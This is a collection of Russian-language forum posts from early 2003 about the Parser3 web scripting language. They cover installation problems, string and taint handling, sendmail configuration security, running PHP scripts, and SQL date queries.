P.S. только не надо оправдываться упреками в мою сторону - если что-то делаешь - это должно быть самое лучшее, или оно не выживет...imho"
"10962","не болейте и всё такое. передайте привет норвегии/израилю/штатам/или куда вы ещё доберётесь в эти празники.\
\
буду online 9ого числа.\
\
-----немного улыбок-----\
\
Письма к вебмастеру Chat.ru\
\
При составлении письма постарайтесь соблюдать несколько простых правил, перечисленных ниже. Это поможет в работе и нам, и Вам.\
\
 1. Указывайте время, когда произошло событие.\
 неправильно: два часа назад, когда я был на работе, позавчера\
 правильно: Wed May 19 03:22:50 MSD 1999 (или примерно так)\
\
 2. Подумайте чуть больше и опишите внятно, что у Вас случилось. Укажите, что было вначале, как Вы попали в эту ситуацию. Приведите URL на котором произошла ошибка. Что сказал сервер? Что сказали Вы? (можно не высылать :)\
 неправильно: у меня мутная страница вместо вашего сервера\
 правильно: когда я посмотрел на www.chat.ru/~rarara, то увидел там то, что никогда туда не помещал. \
\
 3. Расскажите, пробовали ли Вы один раз или на протяжении нескольких дней, или недель, или даже лет, побороть проблему?\
\
 4. Если операция не связана с паролем или другой личной информацией, \
попросите друзей проверить с другой машины и/или другого провайдера. При этом \
возникает ошибка? Если возникает - то та же самая или уже другая? :)\
\
 5. Не материтесь. Старайтесь писать без эмоций.\
..."
"10965","Можете ведь, когда захотите :-)))\
\
С Новым Годом!"
"10966","Есть ли будущее у Parser и можно ли где-нибудь скачать скрипты на Parser?"
"10968","Как узнать из метода сколько ему передано аргументов?\
Например, я хочу их всех вывести лесенкой, те в каждой новой строчке со сдвигом."
"10969","Может обратили внимание как передаются параметры в те-же ^int:sql{} и аналоги?\
\
Они передаются как хеш. Время, когда у оператора нужно было делать N входных переменных, а потом вызывать так: ^method[;;;;;;;;15;абв] прошло :)\
\
Значительно удобнее использовать подобные конструкции:\
^method[$.value(15)$.string(абв)] в которых мы уже при вызове метода понимаем, что у нас означает какой параметр.\
\
Соответственно, т.к. мы передаем хеш, то внутри метода мы можем работать как с хешом и пройтись по нему с помощью foreach, чтобы узнать что передали, или обратиться непосредственно к его определенным полям, которые например должны быть обязательны.\
\
Однако в свете поставленой задачи про \"вывод лесенкой\" мне кажется это не применимо, т.к. тут хотят иметь заданую последовательность параметров. Я не знаю зачем это понадобилось делать с параметрами метода, но мне кажется что тут стоит подумать об использовании параметра-таблицы...\
\
Может ты расскажешь о задаче подробнее? Тогда будет возможно привести решение, которое лучше для нее подходит."
"10972","Я установил сервер MyServer 2.2 от WebHeim.com (Apache/1.3.23 (Win32) PHP/4.1.1)  на свой компьютер.\
Устанавливаю Parser3, но у меня он не работает.\
 \
 \
Что я сделал:\
1. прописал в .htaccess обработку html parser'ом\
2. скопировал файл parser3.cgi в папку c:/myserver/root/test/cgi/ (я просто скопировал windows comander'ом)\
3. запускаю parser3.cgi пишет ошибку 500 Internal Server Error\
 \
 \
Что я не сделал:\
1. не установил права на файл parser3.cgi (как это делается на локальной машине я не знаю) \
 \
 \
Вопрос:\
1. Что мне сделать чтобы все заработало.\
2. Возможно ли вообще установить Parser3 на локальном компьютере c MyServer 2.2"
"10973","Как мне найти слово \"персик\" в слове \"Персики\"?"
"10974","называется \"Денвер\", который точно поддерживает Парсер ... http://www.dklab.ru/chicken/web/ ... В нем есть все, что есть в MyServer'е ..."
"10975","[code]\
  $str[Персики]\
  ^if(^str.match[персик][i]){\
     есть такое слово\
  }{нет такого слова}\
[/code]"
"10976","Друзья поздравляю вас всех с наступающим!\
А вот и подарок sms.zzz.ru - бесплатный шлюз e-mail2sms\
Чертовски удобная вешь в быту (посылает подтверждение на мобилу о пришедшем мыле) уже 2 дня тестирую - РАБОТАЕТ!"
"10980","Только что проверил на своем серваке ... код РАБОТАЕТ!!!"
"10982","Прочитай ту ветку далее"
"10984","$str[Персики]\
^str.match[персик][i g]{<font color=blue><b>персик</b></font>}\
Результата нет.\
А вот если написать Персик с большой буквы, то найдет.\
^str.match[Персик][i g]{<font color=blue><b>Персик</b></font>}\
"
"10985","В квадратных скобках не должно быть пробелов - [ig], а не [i g]. С пробелом никто ничего гарантировать не может.\
\
Второй вариант - некорректно настроены чарсеты. Если они не подгружены - i работать не будет."
"10986","Народ помогите плиз\
Вопрос 1: \
 Есть форма с textarea данные из которй льются в mysql как сделать чтобы при отображении данных нормально переносились строки (т.е. если в textarea нажал ентер то и при выводе строка переносилась без ручной вставки тега <br>)\
Вопрос 2:\
Опятьже в той же самой textarea как сделать так чтобы одни теги разрешались а другие запрещались\
Если взять пример из http://parser2.parser.ru/examples/example2.html то при обработке возникает такая ситуация: \
если я запрещаю один тег к примеру size (в теге font) то потом внезависимости в какой последовательности идут описания заменяимости....\
\
Поможите если можете очень надо..."
"10987","1. Лей данные в БД как есть, ни чем не обрабатывая, а при выводе их на страницу, делай ^taint[html][данные из базы] - все пробелы, энтеры и табы должны выйти так, как были введены в форму.\
2. Не понял вопроса. Если делать по Мишиному примеру, все должно работать исправно. У меня - работает..."
"10988","А как я понимаю оператор taint вышел тока в 3ем парсере а как такую фичу сделать на 2ом\
А по поводу второго вопроса ситуация следующая я заменяю в этом фильтре тег size на >size< при этом я хочу описать свой тег <msk></msk> который проставляет размер в шрифте выводимой строчки внутри этого тэга. Если брать пример в лоб то получается что строка меняется влюбом случае какиебы фильтры я неописывал.. А праило после тэга несрабатывает т.к. строка уже изменилась... \
Может надо сделать 2 процедуры одна типа сначала фильтрует запрещенные теги а вторая потом заменяет мои.. Посоветуйте как лучще сделаьть..."
"10989","1.\
Ты хочешь, чтобы у тебя данные из базы данных выводились на страничку пользователю и при этом перевод строки показывался как перевод строки?\
\
Хм. Чудес не бывает. Ты с чем работаешь? HTML? А а какого перепуга он начнет тебе перевод строки показывать как пропуск строки, если этот текст не в теге <pre>? Не будет он этого делать.\
Т.е. ты, как писатель кода, должен сам взять перевод строки в тексте, пришедшем из базы данных и заменить его на <br /> или что тебе больше нравится) и только после этого выводить пользователю.\
Как это сделать? Читай про ^строка.replace[$таблица_замен]\
Как это делать с символами переовод строки - я писал в этом форуме, поищи по ключевым словам replace (можешь при поиске указать автора)\
\
2. тот пример про трансформацию тегов относится к parser2, а ты находишься в форуме по parser3 - они очень разные. Так что или бери тот пример лишь за основу и переделывай сам, или смотри этот пример http://www.parser.ru/examples/regexp/ где правда тебе тоже потребуется делать изменения, т.к. в том примере я пишу не про работы с тэгам а про работу с их некими аналогами, которые я заменяю на теги. Но идея должны бать такая: ты достал данные из базы. При выводе на экран теги заменяться, т.к. язык по умолчанию html. поэтому ты должен все нужные тебе теги заменить на себя-же, в этом случае они при вставлении будут чистыми и все будет хорошо, а вставлять ^taint[html][...] не надо для данных, пришедших из базы, просто почитай про taint/untaint в доке и примерах (http://www.parser.ru/examples/tainting/)"
"10990","Извини что в этот форум залез просто там мне никто не ответил..."
"10991","А ктонить может сказать что за фигня config(1): './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p'  type: parser.runtime и как с ней бороться...\
\
Заранее спасибо..."
"10992","Это даже на \"морде\" сайта написано.\
\
Что за хостер-то?"
"10994","но про него я ничего не скажу: забыл уже... а давать ошибочные советы не буду."
"10995","этот камень в мой огород...:)...\
\
да...^taint[][] здесь ни причем, признаю, что сказал глупость...:)"
"10996","... но пользоваться чё-то не тянет пока :) сыровато... И, меня например, сразу напрягла принудительная нумерация строк... И уж больно здоров он для заявленных функций, а для реализованных здоров до неприличия.\
\
Звиняйте если что не так."
"10997","Спасибо за помощь. Денвер-2. Теперь все работает."
"10998","Вот такая задача - есть таблица в ней три поля id (int not null auto_increment primary), name, uri. Мне нужно время от времени удалять и вставлять строки в эту таблицу но поле id всё время возрастает на 1 значение т.е auto_increment, а мне нужно чтобы при удалении или добавлении строки поле id начиналось со значения 1 и шло в порядке возрастания. Может кто знает что нужно сделать?"
"10999","Обычно это помогает ;-)\
Ну и можешь прописывать его вручную.\
\
Но если говорить честно - слова \"хочу id подряд\" говорят о том, что кое-кто не читал документацию... Советую почитать на тему next_autoincrement и вообще про индексацию.\
Ну и подумать, как можно \"обмануть\" MySQL  если _действительно_ надо, чтобы id шли подряд... Надеюсь, это не \"для красоты\""
"11001","Subj - всему сообщесву \"ПТИЦеводов\""
"11002","Я поступил так - после того как я удаляю или вставляю строку я удаляю column - id а потом создаю его на том же самом месте (; и получается - \"хочу id подряд\"\
\
С новым годом Вас!\
dan"
"11004","http://www.izh-auto.ru/curves/\
\
[code]\
Unhandled Exception (Debug)\
bad resulting time (day hole)\
roll\
\
/home/www/izh/izh/www//../data/processes/_calendar.bp(38)\
\
--------------------------------------------------------------------------------\
roll /home/www/izh/izh/www//../data/processes/_calendar.bp(38)\
process /home/www/izh/izh/www//../data/classes/engine.p(1388)\
if /home/www/izh/izh/www//../data/classes/engine.p(1387)\
executeProcess /home/www/izh/izh/www//../data/classes/engine.p(583)\
if /home/www/izh/izh/www//../data/classes/engine.p(579)\
if /home/www/izh/izh/www//../data/classes/engine.p(576)\
if /home/www/izh/izh/www//../data/classes/engine.p(574)\
menu /home/www/izh/izh/www//../data/classes/engine.p(572)\
if /home/www/izh/izh/www//../data/classes/engine.p(569)\
processBlocks /home/www/izh/izh/www//../data/classes/engine.p(884)\
if /home/www/izh/izh/www//../data/classes/engine.p(872)\
executeBlocks /home/www/izh/izh/www//../data/classes/engine.p(1065)\
pagePreProcess /home/www/izh/izh/www//../data/classes/engine.p(1064)\
defaultPage /home/www/izh/izh/www//../data/processes/_common.pp(5)\
process /home/www/izh/izh/www//../data/classes/engine.p(1388)\
if /home/www/izh/izh/www//../data/classes/engine.p(1387)\
executeProcess /home/www/izh/izh/www//../data/classes/engine.p(898)\
if /home/www/izh/izh/www//../data/classes/engine.p(897)\
if /home/www/izh/izh/www//../data/classes/engine.p(896)\
execute /home/www/izh/izh/www/_doc.html(52)\
connect /home/www/izh/izh/www//../data/classes/mysql.p(44)\
server /home/www/izh/izh/www/_doc.html(50)\
cache /home/www/izh/izh/www/_doc.html(47)\
[/code]"
"11005","а id'ы по порядку нужны вот для чего - в этой галерее есть навигация в том числе по альбомам и на странице этой навигации из БД выбирается общее количество альбомов и представляется как 1 2 3 4 5 6 7 (т.е. номер альбома и ссылка на него) для этого и нужны id которые идут по порядку – может это конечно изврат и есть путь короче, буду рад услышать совет. Да и еще вопрос – что лучше использовать для таких дел mysql или postgresql, я так понял принципиальной разницы нет? \
\
dan\
"
"11007","Сабж. ;-) "
"11008","помогите пожалуйста, после установке parser'a как CGI скрипт с поддержкой XML при проверке работоспособности на _test.html он выдает такую ошибку .../cgi-bin/auto.p(0): 'conf' parser already configured [parser.runtime]"
"11009","Собственно никто не мешает выбрать в таблицу все альбомы из базы, променюшить таблицу, а ссылки ставить как-нибудь так: \
[code]\
<a href=\"album.html?action=view&id=$table.id\">^table.line[]</a>\
[/code]"
"11014","Помогите неучу! Как заставить Парсер работать в Денвере? Если можно, подробнее... Заранее огромное спасибо и всех с Новым Годом!"
"11016","ну, ето, делаю как в первом примере, а вместо резултата получаю просто ^navigate[]\
и зачем нужен ApacheModuleParser3.dll, и нужен ли он вообще?"
"11017","что некорректно настроен апач - хэндлер не прописан или запрещен .htaccess\
\
Я не могу отвечать за денвер, ибо не мы его делали.\
\
Думаю, надо прочитать наш FAQ - там в конце есть способ проверки .htaccess\
\
А .dll нужен (не знаю, как он там должен называться ибо только CGI ставлю везде ;-) ) для работы парсера, как модуля апача. Что там пользуется в денвере не знаю. Качать, чтоб выяснить, лень и трафика жалко. ;-) Проще, IMHO, поставить нормальный (полный, в денвере некоторе время назад был кастрат) апач и взять с этого сайта CGI и конфиги. Ну и RTFM, конечно же."
"11020","Оказывается, никто не отменял комментирии к методам/операторам (в доке про это ни слова):\
\
[code]\
@method[vars][locals] комментарий\
код\
[/code]\
\
Кроме того, form не наследует параметры, переданные несуществующей странице, обработанной с помощью ErrorDocument 404 в .htaccess"
"11021","Всех с наступившим НГ!\
\
Я правильно понимаю, что теперь в основном auto.p невозможно определить путь к sendmail - определяется только на этапе компиляции?"
"11022","Пути к сендмейлу прописываются в конфигурационном методе, который может быть размещен в auto.p ... \
\
http://www.parser.ru/docs/lang/?parserconfmethod.htm"
"11023","Господа у меня вопрос?\
Я только начинаю изучать язык программирования Parser.\
но у меня на начальном этапе возник вопрос, для Вас это достаточно\
тревиальный вопрос, но для меня как для начинающего программиста - это\
Вопрос.\
Суть:\
\
Код Результат \
 \
$string[2+2] \
$string 2+2 \
 \
С этим все понятно, как говориться что слышиш, то и пишеш.\
----------------------------------------------------------\
$number(2*2) \
$number 4 \
\
Это результат математического выражения.\
----------------------------------------------------------\
$i(0) \
$code{$i} 1 \
$i(1) \
$code \
\
А вот здесь проблема, обьясниете каким образом получается результат такого выражения.\
----------------------------------------------------------\
$i(0) \
$string[$i] 0 \
$i(1) \
$string \
\
Тоже самое, но наооборот. Тоже не понятно.\
----------------------------------------------------------\
За ранее благодарен за ответ.\
 "
"11024","Исходник:\
--------auto.p-------\
@conf[filespec]\
...\
$MAIL[\
	$.sendmail[/usr/bin/sendmail -t -i -f postmaster]\
]\
---------------------\
\
--------index.html-------\
...\
^mail:send[ \
    $.from[Вася <post@opensea.ru>]\
    $.to[Шура <webmaster@opensea.ru>] \
    $.subject[как дела] \
    $.text[Как у тебя дела? У меня изумительно!] \
] \
--------------------------\
\
А вот что пишется в parser.log:\
--------parser.log--------\
[Fri Jan  3 00:02:34 2003] /xxx/: /users/.../xxx/index.html(29): 'send' Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it [parser.runtime]\
[Fri Jan  3 00:02:34 2003] exception in request exception handler: html part value must be code\
--------------------------\
\
Такое ощущение, что переопредеоить не возможно :-/ У меня sendmail сидит по адресу: /usr/bin/sendmail - Parser его не видит :-/"
"11025","Как сделать Гостевую книгу на Parser, чтоб разбивала на страницы"
"11029","блин, все понятно теперича, я в .htacces прописал, как в хелпе, только html, а у меня привычка все в htm лепить, потому и не работал. а пример - аж бегом (тест)"
"11030","http://www.parser.ru/forum/?id=5504 - а в документации, похоже, фигня написана :-/\
\
"
"11031","В предпоследнем случае содержимое скобок вычисляется в момент вызова, то есть в последней строке (к тому моменту в переменной $i содержится значение 1).\
\
В последнем случае содержимое скобок вычисляется в момент присвоения, то есть во второй строке. В это время в переменной $i записано значение 0, здесь тоже все верно\
\
Надеюсь, разобрались."
"11032","[code]\
<form action=\"\" method=\"get\">\
<input name=\"test1\" type=\"text\" value=\"\"><br>\
<input name=\"test2\" type=\"text\" value=\"\"><br>\
<input type=\"submit\">\
</form>\
^if(def $form:test1 || def $form:test2){\
	<p>^form:test1.int[]</p>\
	<p>^form:test2.int[]</p>\
}\
[/code]\
Если оставить одно поле пустым или ввести в него буковки, то:\
[code]\
Unhandled Exception (Debug)\
parameter is empty string, error converting\
int\
z:/home/test/www/test.p3(17)\
exception.type=parser.runtime \
[/code]"
"11033","[code]\
$env:HTTP_REFERER\
$response:refresh[\
	$.value[5]\
	$.url[$env:HTTP_REFERER]\
]\
[/code]\
$env:HTTP_REFERER выдаёт правильный адрес, а вот refresh к текущему адресу цепляет $env:HTTP_REFERER и получается \
каша типа \
[code]\
http://red2/member/login/http://red2/member/login\
[/code]\
Причём это одинаково проявляется как на версии win32, так и на версии Linux."
"11034","Как результат работы php-скрипта вставить в код html-страницы, обрабатываемой parser'ом?"
"11035","Такое поведение было и раньше, только не выдавалось сообщение об ошибке.\
\
Причины ясны - если будет возможность поставить вместо sendmail любую программу,\
то особой безопасности не будет - можно поставить например /bin/sh вместо sendmail\
и запускать таким образом любую программу.\
\
Метод обхода - скомпилировать самим, взять не safe версию\
или сделать symlink в /usr/sbin/.\
"
"11036","Что-то в этом роде:\
$phpProcessedPage[^file::cgi[/cgi-bin/php.cgi; $.PATH_TRANSLATED[path/to/php/file]]]\
Хотя возможно php проверяет и другие заголовки - вероятно в его документации это отражено."
"11038","А если необходимо, чтобы файл имел расширение php4 и лежал в том же каталоге, где и вызывающий его код на parser?"
"11039","Если запрашивать таким образом файл с расширением php4, то parser скажет в логах, мол, 'cgi' output does not co\
ntain CGI header; exit status=243; stdoutsize=0; stdout: \"\"; stderrsize=0; stderr: \"\" [<no type>]\
\
Как побороть собственное непонимание?"
"11042","Если использовать конструктор exec, то создаваемая переменная оказывается пустая :("
"11045","Настроил версию 07, а она глючит. Пришлось вернуться на предыдущую."
"11046","[url=http://www.php.net/manual/en/features.commandline.php]Chapter 23. Using PHP from the command line[/url]"
"11048","Специально написал маленький тестик ...\
[code]\
^if(^form:id.int(0) < 10){\
  $env:HTTP_REFERER\
  $response:refresh[\
       $.value[5]\
       $.url[${env:HTTP_REFERER}?id=^eval(^form:id.int(0)+1)]\
  ]\
}{стоп}\
[/code]\
\
.. все работает ... правда у меня Апач с вкомпиленным Парсером ..."
"11049","[code]\
$response:refresh[\
  $.value[5]\
  $.url[^taint[as-is][$env:HTTP_REFERER]]\
]\
[/code]\
\
$env - грязные данные..."
"11051","графин, из которого он пил воду, прятал в сейф. Причина проста: эта болезнь называется \"Параноя\" :-)\
\
Путь к SendMail определяется в auto.p, который рекомендуется выносить за пределы вэб-пространства. Еще в auto.p имеются: лимит на размер писем, строка коннекта с базой, пути к charset'ам, и т.д. и т.п. Так почему \"в сейф\" убран именно путь к SendMail? Может быть был прецедент на каком-нибудь из проектов?\
\
В качестве \"развития проекта\" можно предложить вообще весь Парсер сделать компилируемым только под заранее определенный проект. Пути и пароли к базам, к SendMail, limit на размер письма, пути к библиотекам - все только при компиляции! (Желательно вместе с контентом - при необходимости добавить запись, к примеру, в гостевую - все немедленно перекомпилировать!). Подобная схема позволит достичь 100% безопастности. Кстати! Если на выходе компилятора будет генериться html код, то и parser3.cgi просто станет не нужен - прекрасная возможность возвести идею безопасности сайта в ранг \"Национальной идеи\"! :-)\
\
Прекрасный фильм был на праздниках по TV - \"13 стульев\". С особенным вниманием была просмотрена сцена про \"Автоматический перенос мировой столицы в Васюки\". Навеяло... :-)"
"11052","Можно-ли считать Parser3 полноценным языком программирования.\
Т.е. писать на нем чаты, форумы, гостевые книги и баннерные системы."
"11053","Форумы и гостеные писать надо.\
Чаты, а тем более, баннерные системы - точно не стоит. Для этого есть другие языки. Будет быстрее писать это на С/С++. Возможно, Perl/FastCGI для не очень критчных задач."
"11054","Есть подозрение, что в методах ^table::create[] и ^tab.join[] в опциях неправильно обрабатывается параметр offset несмотря на нормальную работу limit.\
\
[code]\
$table2[^table::create[$table1]]\
[/code]\
\
Все работает нормально.\
\
[code]\
$table2[^table::create[$table1;$.offset(2)]]\
[/code]\
\
Возвращается пустая таблица...\
\
Аналогичная ситуация с join."
"11056","вроде как для внутренней \"баннеро-крутилки\"(кстати, как эту вещь по-человечески назвать?) хватает, да и чат пашет, и у меня работал и взять тот же www.carver.ru(если точно помню адрес).\
ну если это расчитывать на вещи типа ротабаннер или чат-сити - тут ты прав на 200%"
"11057","Вот решил я написать напоминалку о днях рождения для интранет сайта. Есть таблица с датами рождения в базе данных (в формате датаб имя) . Стоит задача вывести список родившихся , скажем в течении следующих 10 дней. Задачу решил прямым перебором и анализом всех записей в таблице, красотой реализации данный вариант прямо скажем не блещет, особенно если таблица большая. Может кто поделится более красивым алгоритмом? Как возложить большую часть решения поставленной задачи на сервер?"
"11058","Все делается одним запросом:\
[code]\
select\
    name,\
    date\
from\
    birthday\
where\
    date between \
      now()\
    and\
      date_add(now(), interval 7 day)\
[/code]\
На ближайщую неделю. (MySQL)"
"11059","Не все так просто как кажется. SQL я вроде как немного знаю :)\
Все дело в том, что обычно дату рождения хранят в виде день-месяц-год :) И если скажем человек родился 05.01.1970 а на дворе вроде как 2003, то станет ясно что такой запрос годится только для построение прогнозов для роддома №13 :)\
Более того, коль скоро в моем случае используется Oracle, вот такой конструкцией удается получить приведенную к текущему году дату, но увы новое поле BDATE нельзя использовать в WHERE ...\
\
[code]\
SELECT name, TO_DATE(EXTRACT(DAY FROM BDAY)||\
    '-'||EXTRACT(MONTH FROM BDAY)||\
    '-'||EXTRACT(YEAR FROM SYSDATE),'DD-MM-YY') AS bdate \
FROM Birthdays\
[/code]"
"11060","хотя Миша говорит, что у него все путем...  странно."
"11061","потому что кроме веб-доступа бывает еще и  ftp. Да и споры о security похоже бесполезны, но не всегда :)"
"11062","Предлагаемый в разделе \"скачать\" маляр (в смысле, подсветка синтаксиса в виде far плюгина) безбожно глючит. Правда, там так и написано: just in early beta. Народ, ну когда ж его доделают, а?"
"11063","Коли уж поше разговор про Oracle, может попробовать пользовать формат \"DDD\" (день года)?"
"11064","\"почему \"в сейф\" убран именно путь к SendMail\"\
\
Потому, что sendmail это единственная программа,\
для которой не проверяются принадлежность к группе,\
от которой работает парсер.\
\
Почему не проверяется а так же почему возможность\
переопределения действительно создает брешь в безопесности,\
вы бы лучше подумали сами, чем приводить не имеющие\
к данной проблеме аналогии.\
\
Я могу понять лично ваше безраличное отношение к безопасности, но к сожалению \
не на все сайты распространяется правило \"неуловимого Джо\".\
"
"11065","Почитал, спасибо большое.\
\
Но теперь parser выводит в месте, где должен инклюдить вывод php-скрипта такую строчку: Warning: Unexpected character in input: '' (ASCII=4) state=1 in /home/apache/cgi-bin/parser3/parser3.cgi on line 558.\
\
И ничего из того, что надо."
"11066","В конце концов более искушенные в борьбе с базами подсказали идею использовать VIEW.\
И действительно, тогда оказалось все просто \
\
[code]\
CREATE VIEW BIRTHDAYS AS\
SELECT fname, lname, mname, bday, TO_DATE(EXTRACT(DAY FROM BDAY)||'-'||EXTRACT(MONTH FROM BDAY)||'-'||EXTRACT(YEAR FROM SYSDATE),'DD-MM-YY') AS BRD FROM TECHDB_BDAYS \
[/code]\
\
Ну и потом скажем именниники скажем на 10 дней вперед:\
\
[code]\
SELECT * FROM BIRTHDAYS\
WHERE BRD BETWEEN TRUNC(SYSDATE) AND (SYSDATE+10)\
ORDER BY BRD;\
[/code]\
"
"11067","\"...Потому, что sendmail это единственная программа,\
для которой не проверяются принадлежность к группе,\
от которой работает парсер...\"\
\
За разъяснение - спасибо. Стал понятен ход мысли. Но тогда тем более непонятно, почему строчку коннекта с базой все-таки можно хранить в конфиге? Получив доступ к базе можно... Ого-го-го!\
\
\"...Я могу понять лично ваше безраличное отношение к безопасности, но к сожалению не на все сайты распространяется правило \"неуловимого Джо\"...\"\
\
Ну и дали бы возможность собирать Парсер из исходников для \"ну очень секурных сайтов\" с фиксированным путем к sendmail и предопределенными путями и паролями к базам - наверняка подобных сайтов все-таки гораздо меньше, чем не больных параноей :) ИМХО, соотношение \"больных\" к \"здоровым\" должно быть примерно как и в самом обществе..."
"11068","Александр. $20 за закачку любого файла на mares.ru. Можешь скрипт закачать и через sendmail мне письмо отбить со счетом на инкассо :) \
\
Хостинг на нет.ру - родной и знакомый для тебя. Договор: 00027777.\
\
Иначе это все разговоры \"в пользу бедных\". Тут уже один \"гуру\" пытался -  в результате узнал много нового для себя :)"
"11070","Нашли хорошего хостера - радуйтесь. А не пытайтесь наезжать.\
Таких (к хорошими хостерами) заведомое меньшинство.\
\
Возможно в будущем компромис и будет найден, но не сегодня это точно. Достаточно посмотреть в [url=http://www.artlebedev.ru/pr/release_218.html]пресс-релиз[/url], чтобы понять, когда стоит начинать. Может ПАФ и будет появляться здесь до указанного числа, но это его абсолютно никчему не обязывает. А без него и МоКо (который хоть и появляется в форуме, но из дома) все эти разговоры - лишь пустое разжигание недоброжелательности между коллегами.\
\
Предлагаю закрыть топик до конца каникул."
"11071","А чего это php parser решил обрабатывать?"
"11072","Ситуация следующая (parser 3....0006)\
\
Пример из доки (20021215parser3.chm)\
Пример ^^taint.<br> \
$town[Москва] \
<a href=\"town.html?^taint[uri][$town]\">$town</a> \
 - ситуация рабочая !!!\
\
\
$town читается из файла в таблицу \
и в итоге $town.link -> http://x.x.x.x/\
для\
<a href=\"^taint[uri][$town.link]\">$town</a>\
линк получается - www.domen.com/cgi-p/http%3A//x.x.x.x/\
т.е. адресс складывается из текущего+=^taint[uri][$town.link]\
то же самое и с юзаньем ^untaint[]{}\
что самое интересное если поставить в HREF перед ^taint какуйнить текст - то ситуация пропадет, но линк естественно уже не тот :(\
\
З.Ы. Если такая ситуация уже обсуждалась - киньте линк плиZzzzz\
\
\
"
"11073","под IIS5.0 (parser3_3_0_0006_win32_isapi) результат следующего фрагмента тектст из файла юзеру на монитор\
#####\
$runstring[magic.txt]\
^file:find[$runstring]{$f[^file::load[binary;$runstring]]\
<MARQUEE>$f.text</MARQUEE>\
}\
#####\
\
Под PWS (parser3_3_0_0006_win32_cgi_sp1) результат - имя файла + путь к нему от webroot-а\
Но под PWS работает если сделать так\
#####\
$runstring[magic.txt]\
$f[^file::load[binary;$runstring]]\
<MARQUEE>$f.text</MARQUEE>\
#####\
Это конечно не критично но не совсем красиво - может кто знает где я чего не понимаю ?"
"11074","Чего то я торможу :)\
\
Как мне &nbsp; в эту конструкцию вставить? &nbsp^; не катит.\
\
$string[^string.match[\\s][g]{&nbsp;}]"
"11075","[b]uri[/b]\
пробел преобразуется в символ +\
символы за исключением цифр, строчных и прописных латинских букв, а так же следующих символов: _ - . \" преобразуется в %XX где XX - код символа в шестнадцатеричной форме\
\
Может не стоит пихать урл с \"http://\"?"
"11076","find возвращает _имя файла_\
text - его содержимое\
load - его загружает\
\
что-то я не понял смысла..."
"11078","Просто адрессный линк читаю из филе в таблицу\
но может быть ситуация что будет стоять не \
http://\
\
а \
\
ftp://\
gopher://\
\
тогда надо откраивать еще один столбец в табличке\
и пхать его не через ^taint[uri] а через ^taint[as-is]\
громоздко :(\
\
А ^taint[uri] отрабатывает по доке - но почемуто у меня не затирается в линке адресс странички с которой я прыгаю на него, а к нему добавляется обработаная строка если не ставлю в тэг HREF ничего крому ^taint\
\
(завтра отпостирую показательный вариант результатов )"
"11080","as-is конечно хорошо\
\
но через uri получается автоматический конверт инфы на случай\
если человека климануло.\
может и слишком большая перестроховка - но уж если писать скрипты - то не совсем уже на уровне 1 класса :/"
"11081","$f[^file::load[binary;^file:find[$runstring]]]\
так конечно работает лучше :))))))\
но факт остается фактом - конструкция \
\
^file:find[$runstring]{\
$f[^file::load[binary;$runstring]]\
<MARQUEE>$f.text</MARQUEE>\
}\
\
выливала содержимое файла получается при всей своей абсурдности\
\
З.Ы. или я продолжаю тупить дальше по графику ? :O"
"11082","Я замечал, что неправильно показывается простое \
$a[b]\
($a -- как комментарий),\
а вот\
$a [b]\
правильно. \
Что еще?"
"11083","Константин! В высказывании своего мнения я руководствуюсь исключительно: \"... Нам хочется, чтобы вы высказывали свое мнение. Если вы не будете высказывать своего мнения, мы о нем ничего не узнаем...\" - это со страницы http://www.parser.ru/feedback/. И ничего более - я же не прошу (не требую) чтобы немедленно отозвали из заслуженного отпуска кого-либо из разработчиков Парсера? :-)\
\
Насчет наездов... Это зависит исключительно от восприятия Вами, и Вашими коллегами, моего мнения, следовательно - не от меня. По крайней мере я стараюсь, чтобы мои мысли (идеи) подавались в конструктивном ключе и с объяснением причин, приводящих к их возникновению. Вот, намедни, домен предоставил на растерзание дабы _все_ желающие могли _вживую_ поэкспериментировать с секурностью - мне же не жалко. Если в процессе экспериментов обнаружаться интересные результаты - непременно дам отчет. И вообще: Вы можете найти на форуме хоть одно мое \"огульно-критическое\" высказывание? В смысле - не конструктивное?\
\
Насчет \"недоброжелательности между коллегами\"... Ну тут я вообще не понимаю о чем речь :-( Единственное, что могу признать - ну \"тыкал\" я как-то Петросяну, но по первому его требованию (замечанию) тут же перешел на Вы. Кто из-за моих высказываний стал тихо ненавидеть кого-либо из коллег - ума не приложу :)\
\
\"Предлагаю закрыть топик до конца каникул...\" Да Вы только скажите, Константин, - и я вообще готов заткнуться. Будем потихоньку патчить бинарники, мылом запрашивать друг у друга работающие на нормальных хостингах версии Парсера, пытаться самостоятельно разобраться в том, что _на сегодня_ может Парсер, а что в документации безбожно наврано (про пути к sendmail - на сегодня там лажа полная написана). Следующим этапом: посадите на форум модератора и пропускайте только сообщения по типу: \"Парсер - рулеззз...\" :) Только не удивляйтесь потом, что большая часть \"бета-тестеров\" свалит в сторону.\
\
С уважением..."
"11084","Предложение (конструктивное):\
\
Прошу рассмотреть возможность изменения политики безопасности Парсера в сторону либерализации, как то:\
1.  За базовую (публикуемую публично) принять версию, которая может работать на большинстве хостингов, в т.ч. и недостаточно защищенных. Данная версия должна быть насколько более возможно гибкой и настраиваемой пользователем.\
2.  В скачиваемом вместе с бинарниками Парсера файле, прикрутить файл read.me, в котором указать все недостатки по безопасности и возможные \"дыры\" в защите и дать рекомендации. В нем же привести насколько можно подробные инструкции по компиляции \"защищенной\" версии из открытых исходников.\
3.  Сделать все параметры Парсера, имеющие отношения к безопасности, компилируемыми индивидуально на этапе сборки Парсера из CVS.\
\
Мне кажется, что если реализовать п.1...3, то Парсер, как инструмент сайто-строительства, станет действительно \"открытым\" для начинающих пользователей. Те же из строителей, которые после опробирования выберут его в качестве базового, вполне смогут собрать для себя и своего сайта индивидуальную \"секурную\" версию и безболезненно перейти на нее (в рамках собственного представления об этой самой безопасности). Те же, кто не выберет Парсер - по крайней мере получат представление об основах имеющейся технологии.\
\
Никого не обидел (заранее приношу извинения)?\
\
С уважением..."
"11085","Вызываю скрипт, как водится, строкой\
\
$banners[^file::exec[./banners.php4]]\
\
А сам php-код начинается со строки\
\
#!/usr/sbin/php\
\
Если его запускать из консоли, то все прекрасно работает. Из-под parser'а - увы :("
"11086","Я поставил новый конфиг из файла parser3conf_20020802_unix.tar.gz\
и теперь у меня сообщение об ошибке выглядит так\
\"Unhandled Exception...\
...More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\"\
А как мне сделать чтобы More information выводилась еще и на экран браузера, а не только в файл log?\
"
